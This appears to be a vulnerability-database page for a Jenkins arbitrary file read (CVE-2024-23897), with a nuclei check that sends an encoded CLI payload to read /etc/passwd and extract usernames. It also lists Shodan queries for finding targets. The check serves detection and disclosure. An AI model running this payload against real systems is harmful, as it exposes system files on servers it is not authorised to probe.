HexBrain

Browse / CVEs / CVE-2024-23897

CVE-2024-23897· jenkins / jenkins

Jenkins < 2.441 - Arbitrary File Read

Exploited in the wild. Listed by CISA on 2024-08-19; known to be used by ransomware.

highseverity
7.5CVSS score
100%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an '@' character followed by a file path in an argument with the file's contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system.

Impact

Unauthenticated attackers can read arbitrary files on the Jenkins controller file system by exploiting the CLI command parser's '@' file path replacement feature.

Fix

Upgrade Jenkins to version 2.442 or later, or LTS 2.426.3 or later that disables the vulnerable file path replacement feature.

How to confirm it

Positive when: contains(response, "No such agent \"")

Run it with nuclei: nuclei -id CVE-2024-23897 -u <target>

The full check
id: CVE-2024-23897

info:
  name: Jenkins < 2.441 - Arbitrary File Read
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an '@' character followed by a file path in an argument with the file's contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system.
  impact: |
    Unauthenticated attackers can read arbitrary files on the Jenkins controller file system by exploiting the CLI command parser's '@' file path replacement feature.
  remediation: |
    Upgrade Jenkins to version 2.442 or later, or LTS 2.426.3 or later that disables the vulnerable file path replacement feature.
  reference:
    - https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314
    - https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/
    - https://github.com/forsaken0127/CVE-2024-23897
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-23897
    epss-score: 0.99999
    epss-percentile: 0.99995
    cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:lts:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: jenkins
    product: jenkins
    shodan-query:
      - "product:\"Jenkins\""
      - cpe:"cpe:2.3:a:jenkins:jenkins"
      - http.favicon.hash:81586312
      - product:"jenkins"
    fofa-query: icon_hash=81586312
  tags: cve,cve2024,lfi,rce,jenkins,js,kev,vkev,vuln

variables:
  payload: "{{hex_decode('0000000e00000c636f6e6e6563742d6e6f64650000000e00000c402f6574632f706173737764000000070200055554462d3800000007010005656e5f41450000000003')}}"

javascript:
  - pre-condition: |
      isPortOpen(Host,Port);
    code: |
      let m = require('nuclei/net');
      let address = `${Host}:${Port}`;
      let session_id = 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, c => (c === 'x' ? Math.random() * 16 | 0 : (Math.random() * 16 | 0 & 0x3 | 0x8)).toString(16));
      let conn, conn2;

      try { conn = m.OpenTLS('tcp', address) } catch { conn = m.Open('tcp', address)}
      conn.Send(`POST /cli?remoting=false HTTP/1.1\r\nHost:${Host}\r\nSession: ${session_id}\r\nSide: download\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0\r\n\r\n`);
      resp = conn.RecvString(1000)

      try { conn2 = m.OpenTLS('tcp', address) } catch { conn2 = m.Open('tcp', address)}
      conn2.Send(`POST /cli?remoting=false HTTP/1.1\r\nHost:${Host}\r\nContent-type: application/octet-stream\r\nSession: ${session_id}\r\nSide: upload\r\nConnection: keep-alive\r\nContent-Length: 163\r\n\r\n${Body}`)
      resp2 = conn.RecvString(1000)

    args:
      Body: "{{payload}}"
      Host: "{{Host}}"
      Port: 80,443 # if port not specified, defaults to both 80 and 443
      exclude-ports: "0" # override default skip list of 80,443,8080,8443

    matchers:
      - type: dsl
        dsl:
          - 'contains(response, "No such agent \"")'

    extractors:
      - type: regex
        group: 1
        regex:
          - '\b([a-z_][a-z0-9_-]{0,31})\:x\:'

References

Use this check only on systems you are authorised to test. Where the data comes from